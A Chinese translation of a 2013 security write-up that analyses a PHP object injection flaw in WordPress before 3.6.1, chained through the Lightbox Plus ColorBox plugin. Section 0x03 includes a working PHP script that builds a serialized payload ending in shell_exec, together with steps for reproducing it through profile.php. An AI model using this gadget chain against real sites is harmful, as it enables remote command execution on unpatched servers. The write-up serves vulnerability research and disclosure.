<dd id="sga4y"><optgroup id="sga4y"></optgroup></dd>
<nav id="sga4y"><code id="sga4y"></code></nav>
  • <optgroup id="sga4y"></optgroup>

    原文地址:http://drops.wooyun.org/papers/785

    from:Remote Code Execution exploit in WordPress 3.5.1

    (ps:老外也有幾分標題黨的意思,雖然是wordpress本身留下的坑,但是目前的利用還是需要安裝的插件踩到了這個坑,才會被利用成功,并且要進入后臺……感謝horseluke幫忙測試并翻譯EXP與總結部分。)

    0x00 背景


    之前,在http://vagosec.org/2013/09/wordpress-php-object-injection/發表了WordPress中php對象注入的漏洞,那時候考慮到影響,沒有講解如何利用該漏洞,現在已經過去了三個月的時間,網站管理員應該都已經更新的WordPress,現在覺得可以公開了。

    之前對這個漏洞不太了解的可以先看一下drops之前翻譯的文章:

    WordPress < 3.6.1 PHP 對象注入漏洞

    0x01 如何尋找


    看完以前的那個文章之后,會發現有三種方法可能被利用

    __destruct()
    __wakeup()
    __toString()
    

    但是在WordPress本身的類當中沒有找到可以成功利用的點。

    但這是否意味著該漏洞不可利用呢,當然不是,WordPress最流行的功能就是允許安裝插件和模板。這個是有第三方開發的,在寫這篇文章時,WordPress列出了28358個插件,有超過5.6億次的下載,這些插件有著各式各樣的功能。包括有2155個主題,下載量超過八千六百萬。

    然后我就開始在最流行的插件當中尋找那些可以成功利用該漏洞的。

    在尋找了幾個插件之后,我終于找到一個插件的類中,在__toString()方法中是可利用的了。

    這個插件就是Lightbox plus ColorBox

    0x02 分析詳情


    Lightbox plus ColorBox插件的/classes/shd.class.php文件中的simple_html_dom_node類,其中代碼如下:

    #!php
    class simple_html_dom_node {
        private $dom = null;
    
        function __toString() {
            return $this->outertext();
        }
    
        function outertext() {
            // …
            if ($this->dom && $this->dom->callback!==null) {
                call_user_func_array($this->dom->callback, array($this));
            }
            // … 
        }
    }
    

    熟悉PHP的朋友一看到call_user_func_array函數,就知道這是一個可能存在問題的點。

    不熟悉PHP的可以來看下PHP手冊http://www.php.net/function.call-user-func-array

    為什么會對這個類的定義感興趣呢?因為我們可以控制simple_html_dom_node對象的所有屬性,我們可以設置dom屬性為任意值,如果傳入一個callback屬性的話,有意思的事情就發生了。

    利用call_user_func_array函數,我們可以調用任何函數,并且可以傳遞第一個參數進去。我不是PHP專家,沒有發現利用辦法,我又回過頭看WordPress本身的代碼,發現在/wp-admin/includes/screen.php文件中,這個文件定義了一個WP_Screen的類,當用user-meta數據被反序列化時,是被包含的,類的代碼如下:

    #!php
    final class WP_Screen {
        private $_help_tabs = array();
    
        public function get_help_tabs() {
            return $this->_help_tabs;
        }
    
        public function render_screen_meta() {
            // …
            foreach ( $this->get_help_tabs() as $tab ):
                if ( ! empty( $tab['callback'] ) )
                    call_user_func_array( $tab['callback'], array( $this, $tab ) );
            endforeach;
            // …
        }
    }
    

    就像我之前提到過的,我們能夠調用任意的函數,這包括類當中的方法,能夠調用WP_Screen對象中的render_screen_meta()方法,并且不需要傳遞任何參數,這個方法將會循環遍歷_help_tabs屬性中的所有元素,如果元素中的callback屬性不為空,那么將會調用callback屬性中的函數,傳入的兩個參數為:WP_Screen對象和$tab(_help_tabs屬性的其中一個元素)。

    這樣我們有了更多的控制,可以選擇那些函數被調用,并且可以控制,但是我們可能需要更加努力些,因為我們沒有完全控制參數,看一下WordPress中的核心代碼位于/wp-includes/category-template.php文件中:

    #!php
    function wp_generate_tag_cloud( $tags, $args = '' ) {
        // …
        $args = wp_parse_args( $args, $defaults );
        extract( $args );
        // …
        foreach ( (array) $tags as $key => $tag ) {
            $real_counts[ $key ] = $tag->count;
            $counts[ $key ] = $topic_count_scale_callback($tag->count);
        }
        // …
    }
    

    關于extract函數的手冊說明:http://www.php.net/function.extract

    wp_generate_tag_cloud()函數接受兩個參數$tags和$args,$args經過wp_parse_args函數的處理,該函數的作用是把$args數組與默認的一組$deafults合并,之后經過extract函數生產一些變量,其中一個是$topic_count_scale_callback變量。之后,該變量被調用傳入一個參數,好消息就是我們能夠完全控制這個變量。第一個參數,WP_Screen對象被轉化為數組,當一個對象被強制轉化為數組的時候,其中的屬性最為關鍵:

    #!php
    <?php
    class Swag {
        public $yolo = 'yolo';
    }
    $swag = new Swag;
    var_dump((array)$swag);
    ?>
    

    輸出結果為:

    array(1) {
      ["yolo"]=>
      string(4) "yolo"
    }
    

    現在我們需要的就是WP_Screen對象中的一個屬性有一個count屬性。

    這是個很容易解決的問題,因為我們可以讓所有的屬性反序列化一遍。

    這就意味著我們能夠調用任何不帶參數的函數,并完全控制它。

    0x03 EXP


    根據以上分析,你應該可以構造一個屬于自己的完美exploit了。不過先展示一下我的做法:

    #!php
    <?php
    class simple_html_dom_node {
        private $dom;
        public function __construct() {
            $callback = array(new WP_Screen(), 'render_screen_meta');
            $this->dom = (object) array('callback' => $callback);
        }
    }
    class WP_Screen {
        private $_help_tabs;
        public $action;
        function __construct() {
            $count = array('count' => 'echo "schwag" > /tmp/1337h4x0rs');
            $this->action = (object) $count;
            $this->_help_tabs = array(array(
                'callback' => 'wp_generate_tag_cloud', 
                'topic_count_scale_callback' => 'shell_exec'));
        }
    }
    echo serialize(new simple_html_dom_node()).'{0xf09d8c86}';
    ?>
    

    該腳本運行后將有一段輸出內容,攻擊者可將其作為用戶元信息(user metadata)提交,此時shell_exec()函數將運行,參數為

    echo "schwag" > /tmp/1337h4x0rs
    

    要注意的是,輸出內容存在NULL字節符,這是因為php在序列化一個對象時,會對私有屬性以NULL字節符包圍(見PHP手冊)。WordPress中大部分用戶元信息(user metadata)并不允許NULL字節符,除了在3.5.1版本中,有部分地方因為默認配置而被允許使用。

    (譯注:(1)由于存在NULL字符串,直接echo會有一部分payload看不到,建議進行rawurlencode再輸出;(2)原作者使用shell_exec進行shell寫入,會受到系統配置和權限影響而無法成功,如果僅是想復現漏洞,可替換為var_dump。若頁面html輸出中,出現WP_Screen::__construct()中$count變量所預先設置的字符串,則存在此漏洞。(3)在wp-admin/profile.php頁面中修改更新個人資料【可以修改個人說明,實際上這里面的數據從數據庫讀取后都會判斷是否為序列化后的數據,是的話都會反序列化一遍從而觸發該漏洞】后,就可以看到效果了。)

    0x04 總結


    本文以低于3.6.1版本的Wordpress為基礎,展示一個php對象漏洞exploit例子。這個exploit需要利用近乎百萬下載量的插件Lightbox Plus ColorBox中,其中一組類(simple html dom)所定義的邏輯;接著再組合利用WordPress核心中,另一些類和方法所定義的程序邏輯,我們就可以通過一段攻擊者可控字符串執行任意函數,遠程執行命令也就不在話下了。天啊不會吧!如果你還沒更新WordPress,那現在可是個好時機了!

    (譯注:原作者說插件Lightbox Plus ColorBox中闡述的漏洞,似乎是將simple html dom的特性——模仿瀏覽器中dom.outerText操作——用成漏洞。另外在php開發中,該simple html dom組件類應用極廣泛,主要用于html解析和提取、過濾文本。雖然說像文中這種利用需要碰運氣,不過開發可以此例子思考:(1)如何不被攻擊者將特性利用為漏洞通道?雖然這真的有些難(2)如何解決數據和執行混合導致的安全問題?雖然這似乎是終極問題之一了)

    97av